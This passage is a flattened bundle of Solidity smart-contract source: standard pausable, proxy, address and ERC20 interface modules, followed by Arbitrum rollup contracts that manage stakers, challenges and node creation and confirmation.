* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface ICloneable {
function isMaster() external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Rollup.sol";
import "./facets/IRollupFacets.sol";
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/IMessageProvider.sol";
import "./INode.sol";
import "../libraries/Cloneable.sol";
contract RollupEventBridge is IMessageProvider, Cloneable {
uint8 internal constant INITIALIZATION_MSG_TYPE = 11;
uint8 internal constant ROLLUP_PROTOCOL_EVENT_TYPE = 8;
uint8 internal constant CREATE_NODE_EVENT = 0;
uint8 internal constant CONFIRM_NODE_EVENT = 1;
uint8 internal constant REJECT_NODE_EVENT = 2;
uint8 internal constant STAKE_CREATED_EVENT = 3;
IBridge bridge;
address rollup;
modifier onlyRollup() {
require(msg.sender == rollup, "ONLY_ROLLUP");
_;
}
function initialize(address _bridge, address _rollup) external {
require(rollup == address(0), "ALREADY_INIT");
bridge = IBridge(_bridge);
rollup = _rollup;
}
function rollupInitialized(
uint256 confirmPeriodBlocks,
uint256 avmGasSpeedLimitPerBlock,
address owner,
bytes calldata extraConfig
) external onlyRollup {
bytes memory initMsg = abi.encodePacked(
keccak256("ChallengePeriodEthBlocks"),
confirmPeriodBlocks,
keccak256("SpeedLimitPerSecond"),
avmGasSpeedLimitPerBlock / 100, // convert avm gas to arbgas
keccak256("ChainOwner"),
uint256(uint160(bytes20(owner))),
extraConfig
);
uint256 num = bridge.deliverMessageToInbox(
INITIALIZATION_MSG_TYPE,
address(0),
keccak256(initMsg)
);
emit InboxMessageDelivered(num, initMsg);
}
function nodeCreated(
uint256 nodeNum,
uint256 prev,
uint256 deadline,
address asserter
) external onlyRollup {
deliverToBridge(
abi.encodePacked(
CREATE_NODE_EVENT,
nodeNum,
prev,
block.number,
deadline,
uint256(uint160(bytes20(asserter)))
)
);
}
function nodeConfirmed(uint256 nodeNum) external onlyRollup {
deliverToBridge(abi.encodePacked(CONFIRM_NODE_EVENT, nodeNum));
}
function nodeRejected(uint256 nodeNum) external onlyRollup {
deliverToBridge(abi.encodePacked(REJECT_NODE_EVENT, nodeNum));
}
function stakeCreated(address staker, uint256 nodeNum) external onlyRollup {
deliverToBridge(
abi.encodePacked(
STAKE_CREATED_EVENT,
uint256(uint160(bytes20(staker))),
nodeNum,
block.number
)
);
}
function deliverToBridge(bytes memory message) private {
emit InboxMessageDelivered(
bridge.deliverMessageToInbox(
ROLLUP_PROTOCOL_EVENT_TYPE,
msg.sender,
keccak256(message)
),
message
);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./INode.sol";
import "./IRollupCore.sol";
import "./RollupLib.sol";
import "./INodeFactory.sol";
import "./RollupEventBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract RollupCore is IRollupCore {
using SafeMath for uint256;
// Stakers become Zombies after losing a challenge
struct Zombie {
address stakerAddress;
uint256 latestStakedNode;
}
struct Staker {
uint256 index;
uint256 latestStakedNode;
uint256 amountStaked;
// currentChallenge is 0 if staker is not in a challenge
address currentChallenge;
bool isStaked;
}
uint256 private _latestConfirmed;
uint256 private _firstUnresolvedNode;
uint256 private _latestNodeCreated;
uint256 private _lastStakeBlock;
mapping(uint256 => INode) private _nodes;
mapping(uint256 => bytes32) private _nodeHashes;
address payable[] private _stakerList;
mapping(address => Staker) public override _stakerMap;
Zombie[] private _zombies;
mapping(address => uint256) private _withdrawableFunds;
/**
* @notice Get the address of the Node contract for the given node
* @param nodeNum Index of the node
* @return Address of the Node contract
*/
function getNode(uint256 nodeNum) public view override returns (INode) {
return _nodes[nodeNum];
}
/**
* @notice Get the address of the staker at the given index
* @param stakerNum Index of the staker
* @return Address of the staker
*/
function getStakerAddress(uint256 stakerNum) external view override returns (address) {
return _stakerList[stakerNum];
}
/**
* @notice Check whether the given staker is staked
* @param staker Staker address to check
* @return True or False for whether the staker was staked
*/
function isStaked(address staker) public view override returns (bool) {
return _stakerMap[staker].isStaked;
}
/**
* @notice Get the latest staked node of the given staker
* @param staker Staker address to lookup
* @return Latest node staked of the staker
*/
function latestStakedNode(address staker) public view override returns (uint256) {
return _stakerMap[staker].latestStakedNode;
}
/**
* @notice Get the current challenge of the given staker
* @param staker Staker address to lookup
* @return Current challenge of the staker
*/
function currentChallenge(address staker) public view override returns (address) {
return _stakerMap[staker].currentChallenge;
}
/**
* @notice Get the amount staked of the given staker
* @param staker Staker address to lookup
* @return Amount staked of the staker
*/
function amountStaked(address staker) public view override returns (uint256) {
return _stakerMap[staker].amountStaked;
}
/**
* @notice Get the original staker address of the zombie at the given index
* @param zombieNum Index of the zombie to lookup
* @return Original staker address of the zombie
*/
function zombieAddress(uint256 zombieNum) public view override returns (address) {
return _zombies[zombieNum].stakerAddress;
}
/**
* @notice Get Latest node that the given zombie at the given index is staked on
* @param zombieNum Index of the zombie to lookup
* @return Latest node that the given zombie is staked on
*/
function zombieLatestStakedNode(uint256 zombieNum) public view override returns (uint256) {
return _zombies[zombieNum].latestStakedNode;
}
/// @return Current number of un-removed zombies
function zombieCount() public view override returns (uint256) {
return _zombies.length;
}
function isZombie(address staker) public view override returns (bool) {
for (uint256 i = 0; i < _zombies.length; i++) {
if (staker == _zombies[i].stakerAddress) {
return true;
}
}
return false;
}
/**
* @notice Get the amount of funds withdrawable by the given address
* @param owner Address to check the funds of
* @return Amount of funds withdrawable by owner
*/
function withdrawableFunds(address owner) external view override returns (uint256) {
return _withdrawableFunds[owner];
}
/**
* @return Index of the first unresolved node
* @dev If all nodes have been resolved, this will be latestNodeCreated + 1
*/
function firstUnresolvedNode() public view override returns (uint256) {
return _firstUnresolvedNode;
}
/// @return Index of the latest confirmed node
function latestConfirmed() public view override returns (uint256) {
return _latestConfirmed;
}
/// @return Index of the latest rollup node created
function latestNodeCreated() public view override returns (uint256) {
return _latestNodeCreated;
}
/// @return Ethereum block that the most recent stake was created
function lastStakeBlock() external view override returns (uint256) {
return _lastStakeBlock;
}
/// @return Number of active stakers currently staked
function stakerCount() public view override returns (uint256) {
return _stakerList.length;
}
/**
* @notice Initialize the core with an initial node
* @param initialNode Initial node to start the chain with
*/
function initializeCore(INode initialNode) internal {
_nodes[0] = initialNode;
_firstUnresolvedNode = 1;
}
/**
* @notice React to a new node being created by storing it an incrementing the latest node counter
* @param node Node that was newly created
* @param nodeHash The hash of said node
*/
function nodeCreated(INode node, bytes32 nodeHash) internal {
_latestNodeCreated++;
_nodes[_latestNodeCreated] = node;
_nodeHashes[_latestNodeCreated] = nodeHash;
}
/// @return Node hash as of this node number
function getNodeHash(uint256 index) public view override returns (bytes32) {
return _nodeHashes[index];
}
/// @notice Reject the next unresolved node
function _rejectNextNode() internal {
destroyNode(_firstUnresolvedNode);
_firstUnresolvedNode++;
}
/// @notice Confirm the next unresolved node
function confirmNextNode(
bytes32 beforeSendAcc,
bytes calldata sendsData,
uint256[] calldata sendLengths,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount,
IOutbox outbox,
RollupEventBridge rollupEventBridge
) internal {
confirmNode(
_firstUnresolvedNode,
beforeSendAcc,
sendsData,
sendLengths,
afterSendCount,
afterLogAcc,
afterLogCount,
outbox,
rollupEventBridge
);
}
function confirmNode(
uint256 nodeNum,
bytes32 beforeSendAcc,
bytes calldata sendsData,
uint256[] calldata sendLengths,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount,
IOutbox outbox,
RollupEventBridge rollupEventBridge
) internal {
bytes32 afterSendAcc = RollupLib.feedAccumulator(sendsData, sendLengths, beforeSendAcc);
INode node = getNode(nodeNum);
// Authenticate data against node's confirm data pre-image
require(
node.confirmData() ==
RollupLib.confirmHash(
beforeSendAcc,
afterSendAcc,
afterLogAcc,
afterSendCount,
afterLogCount
),
"CONFIRM_DATA"
);
// trusted external call to outbox
outbox.processOutgoingMessages(sendsData, sendLengths);
destroyNode(_latestConfirmed);
_latestConfirmed = nodeNum;
_firstUnresolvedNode = nodeNum + 1;
rollupEventBridge.nodeConfirmed(nodeNum);
emit NodeConfirmed(nodeNum, afterSendAcc, afterSendCount, afterLogAcc, afterLogCount);
}
/**
* @notice Create a new stake at latest confirmed node
* @param stakerAddress Address of the new staker
* @param depositAmount Stake amount of the new staker
*/
function createNewStake(address payable stakerAddress, uint256 depositAmount) internal {
uint256 stakerIndex = _stakerList.length;
_stakerList.push(stakerAddress);
_stakerMap[stakerAddress] = Staker(
stakerIndex,
_latestConfirmed,
depositAmount,
address(0), // new staker is not in challenge
true
);
_lastStakeBlock = block.number;
emit UserStakeUpdated(stakerAddress, 0, depositAmount);
}
/**
* @notice Check to see whether the two stakers are in the same challenge
* @param stakerAddress1 Address of the first staker
* @param stakerAddress2 Address of the second staker
* @return Address of the challenge that the two stakers are in
*/
function inChallenge(address stakerAddress1, address stakerAddress2)
internal
view
returns (address)
{
Staker storage staker1 = _stakerMap[stakerAddress1];
Staker storage staker2 = _stakerMap[stakerAddress2];
address challenge = staker1.currentChallenge;
require(challenge != address(0), "NO_CHAL");
require(challenge == staker2.currentChallenge, "DIFF_IN_CHAL");
return challenge;
}
/**
* @notice Make the given staker as not being in a challenge
* @param stakerAddress Address of the staker to remove from a challenge
*/
function clearChallenge(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
staker.currentChallenge = address(0);
}
/**
* @notice Mark both the given stakers as engaged in the challenge
* @param staker1 Address of the first staker
* @param staker2 Address of the second staker
* @param challenge Address of the challenge both stakers are now in
*/
function challengeStarted(
address staker1,
address staker2,
address challenge
) internal {
_stakerMap[staker1].currentChallenge = challenge;
_stakerMap[staker2].currentChallenge = challenge;
}
/**
* @notice Add to the stake of the given staker by the given amount
* @param stakerAddress Address of the staker to increase the stake of
* @param amountAdded Amount of stake to add to the staker
*/
function increaseStakeBy(address stakerAddress, uint256 amountAdded) internal {
Staker storage staker = _stakerMap[stakerAddress];
uint256 initialStaked = staker.amountStaked;
uint256 finalStaked = initialStaked.add(amountAdded);
staker.amountStaked = finalStaked;
emit UserStakeUpdated(stakerAddress, initialStaked, finalStaked);
}
/**
* @notice Reduce the stake of the given staker to the given target
* @param stakerAddress Address of the staker to reduce the stake of
* @param target Amount of stake to leave with the staker
* @return Amount of value released from the stake
*/
function reduceStakeTo(address stakerAddress, uint256 target) internal returns (uint256) {
Staker storage staker = _stakerMap[stakerAddress];
uint256 current = staker.amountStaked;
require(target <= current, "TOO_LITTLE_STAKE");
uint256 amountWithdrawn = current.sub(target);
staker.amountStaked = target;
increaseWithdrawableFunds(stakerAddress, amountWithdrawn);
emit UserStakeUpdated(stakerAddress, current, target);
return amountWithdrawn;
}
/**
* @notice Remove the given staker and turn them into a zombie
* @param stakerAddress Address of the staker to remove
*/
function turnIntoZombie(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
_zombies.push(Zombie(stakerAddress, staker.latestStakedNode));
deleteStaker(stakerAddress);
}
/**
* @notice Update the latest staked node of the zombie at the given index
* @param zombieNum Index of the zombie to move
* @param latest New latest node the zombie is staked on
*/
function zombieUpdateLatestStakedNode(uint256 zombieNum, uint256 latest) internal {
_zombies[zombieNum].latestStakedNode = latest;
}
/**
* @notice Remove the zombie at the given index
* @param zombieNum Index of the zombie to remove
*/
function removeZombie(uint256 zombieNum) internal {
_zombies[zombieNum] = _zombies[_zombies.length - 1];
_zombies.pop();
}
/**
* @notice Remove the given staker and return their stake
* @param stakerAddress Address of the staker withdrawing their stake
*/
function withdrawStaker(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
uint256 initialStaked = staker.amountStaked;
increaseWithdrawableFunds(stakerAddress, initialStaked);
deleteStaker(stakerAddress);
emit UserStakeUpdated(stakerAddress, initialStaked, 0);
}
/**
* @notice Advance the given staker to the given node
* @param stakerAddress Address of the staker adding their stake
* @param nodeNum Index of the node to stake on
*/
function stakeOnNode(
address stakerAddress,
uint256 nodeNum,
uint256 confirmPeriodBlocks
) internal {
Staker storage staker = _stakerMap[stakerAddress];
INode node = _nodes[nodeNum];
uint256 newStakerCount = node.addStaker(stakerAddress);
staker.latestStakedNode = nodeNum;
if (newStakerCount == 1) {
INode parent = _nodes[node.prev()];
parent.newChildConfirmDeadline(block.number.add(confirmPeriodBlocks));
}
}
/**
* @notice Clear the withdrawable funds for the given address
* @param owner Address of the account to remove funds from
* @return Amount of funds removed from account
*/
function withdrawFunds(address owner) internal returns (uint256) {
uint256 amount = _withdrawableFunds[owner];
_withdrawableFunds[owner] = 0;
emit UserWithdrawableFundsUpdated(owner, amount, 0);
return amount;
}
/**
* @notice Increase the withdrawable funds for the given address
* @param owner Address of the account to add withdrawable funds to
*/
function increaseWithdrawableFunds(address owner, uint256 amount) internal {
uint256 initialWithdrawable = _withdrawableFunds[owner];
uint256 finalWithdrawable = initialWithdrawable.add(amount);
_withdrawableFunds[owner] = finalWithdrawable;
emit UserWithdrawableFundsUpdated(owner, initialWithdrawable, finalWithdrawable);
}
/**
* @notice Remove the given staker
* @param stakerAddress Address of the staker to remove
*/
function deleteStaker(address stakerAddress) private {
Staker storage staker = _stakerMap[stakerAddress];
uint256 stakerIndex = staker.index;
_stakerList[stakerIndex] = _stakerList[_stakerList.length - 1];
_stakerMap[_stakerList[stakerIndex]].index = stakerIndex;
_stakerList.pop();
delete _stakerMap[stakerAddress];
}
/**
* @notice Destroy the given node and clear out its address
* @param nodeNum Index of the node to remove
*/
function destroyNode(uint256 nodeNum) internal {
_nodes[nodeNum].destroy();
_nodes[nodeNum] = INode(0);
}
function nodeDeadline(
uint256 avmGasSpeedLimitPerBlock,
uint256 gasUsed,
uint256 confirmPeriodBlocks,
INode prevNode
) internal view returns (uint256 deadlineBlock) {
// Set deadline rounding up to the nearest block
uint256 checkTime =
gasUsed.add(avmGasSpeedLimitPerBlock.sub(1)).div(avmGasSpeedLimitPerBlock);
deadlineBlock = max(block.number.add(confirmPeriodBlocks), prevNode.deadlineBlock()).add(
checkTime
);
uint256 olderSibling = prevNode.latestChildNumber();
if (olderSibling != 0) {
deadlineBlock = max(deadlineBlock, getNode(olderSibling).deadlineBlock());
}
return deadlineBlock;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
struct StakeOnNewNodeFrame {
uint256 currentInboxSize;
INode node;
bytes32 executionHash;
INode prevNode;
bytes32 lastHash;
bool hasSibling;
uint256 deadlineBlock;
uint256 gasUsed;
uint256 sequencerBatchEnd;
bytes32 sequencerBatchAcc;
}
struct CreateNodeDataFrame {
uint256 prevNode;
uint256 confirmPeriodBlocks;
uint256 avmGasSpeedLimitPerBlock;
ISequencerInbox sequencerInbox;
RollupEventBridge rollupEventBridge;
INodeFactory nodeFactory;
}
uint8 internal constant MAX_SEND_COUNT = 100;
function createNewNode(
RollupLib.Assertion memory assertion,
bytes32[3][2] calldata assertionBytes32Fields,
uint256[4][2] calldata assertionIntFields,
bytes calldata sequencerBatchProof,
CreateNodeDataFrame memory inputDataFrame,
bytes32 expectedNodeHash
) internal returns (bytes32 newNodeHash) {
StakeOnNewNodeFrame memory memoryFrame;
{
// validate data
memoryFrame.gasUsed = RollupLib.assertionGasUsed(assertion);
memoryFrame.prevNode = getNode(inputDataFrame.prevNode);
memoryFrame.currentInboxSize = inputDataFrame.sequencerInbox.messageCount();
// Make sure the previous state is correct against the node being built on
require(
RollupLib.stateHash(assertion.beforeState) == memoryFrame.prevNode.stateHash(),
"PREV_STATE_HASH"
);
// Ensure that the assertion doesn't read past the end of the current inbox
require(
assertion.afterState.inboxCount <= memoryFrame.currentInboxSize,
"INBOX_PAST_END"
);
// Insure inbox tip after assertion is included in a sequencer-inbox batch and return inbox acc; this gives replay protection against the state of the inbox
(memoryFrame.sequencerBatchEnd, memoryFrame.sequencerBatchAcc) = inputDataFrame
.sequencerInbox
.proveInboxContainsMessage(sequencerBatchProof, assertion.afterState.inboxCount);
}
{
memoryFrame.executionHash = RollupLib.executionHash(assertion);
memoryFrame.deadlineBlock = nodeDeadline(
inputDataFrame.avmGasSpeedLimitPerBlock,
memoryFrame.gasUsed,
inputDataFrame.confirmPeriodBlocks,
memoryFrame.prevNode
);
memoryFrame.hasSibling = memoryFrame.prevNode.latestChildNumber() > 0;
// here we don't use ternacy operator to remain compatible with slither
if (memoryFrame.hasSibling) {
memoryFrame.lastHash = getNodeHash(memoryFrame.prevNode.latestChildNumber());
} else {
memoryFrame.lastHash = getNodeHash(inputDataFrame.prevNode);
}
memoryFrame.node = INode(
inputDataFrame.nodeFactory.createNode(
RollupLib.stateHash(assertion.afterState),
RollupLib.challengeRoot(assertion, memoryFrame.executionHash, block.number),
RollupLib.confirmHash(assertion),
inputDataFrame.prevNode,
memoryFrame.deadlineBlock
)
);
}
{
uint256 nodeNum = latestNodeCreated() + 1;
memoryFrame.prevNode.childCreated(nodeNum);
newNodeHash = RollupLib.nodeHash(
memoryFrame.hasSibling,
memoryFrame.lastHash,
memoryFrame.executionHash,
memoryFrame.sequencerBatchAcc
);
require(newNodeHash == expectedNodeHash, "UNEXPECTED_NODE_HASH");
nodeCreated(memoryFrame.node, newNodeHash);
inputDataFrame.rollupEventBridge.nodeCreated(
nodeNum,
inputDataFrame.prevNode,
memoryFrame.deadlineBlock,
msg.sender
);
}
emit NodeCreated(
latestNodeCreated(),
getNodeHash(inputDataFrame.prevNode),
newNodeHash,
memoryFrame.executionHash,
memoryFrame.currentInboxSize,
memoryFrame.sequencerBatchEnd,
memoryFrame.sequencerBatchAcc,
assertionBytes32Fields,
assertionIntFields
);
return newNodeHash;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../challenge/ChallengeLib.sol";
import "./INode.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library RollupLib {
using SafeMath for uint256;
struct Config {
